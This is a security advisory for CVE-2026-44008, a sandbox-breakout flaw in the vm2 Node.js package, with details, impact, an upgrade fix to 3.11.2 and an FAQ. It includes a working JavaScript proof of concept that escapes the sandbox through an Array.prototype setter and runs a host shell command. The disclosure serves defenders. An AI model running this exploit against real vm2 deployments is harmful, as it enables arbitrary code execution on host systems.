CVE-2026-44008: vm2: Snabox breakout via `neutralizeArraySpeciesBatch`
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( const a = []; Object.defineProperty(Array.prototype, 0, { set(value) { a.f = Buffer.prototype.inspect; value.arr.f.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }); new Buffer(a); ));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.2 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.2
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44008?
CVE-2026-44008 is categorized as a high-severity vulnerability due to its potential for sandbox breakout and arbitrary command execution.
How do I fix CVE-2026-44008?
To fix CVE-2026-44008, upgrade the VM2 package to version 3.11.2 or later.
What systems are affected by CVE-2026-44008?
CVE-2026-44008 affects all versions of the VM2 package prior to 3.11.2.
What does CVE-2026-44008 allow attackers to do?
CVE-2026-44008 allows attackers to escape the VM2 sandbox and execute arbitrary commands on the host system.
Is CVE-2026-44008 exploitable remotely?
Yes, CVE-2026-44008 is considered exploitable remotely under certain conditions.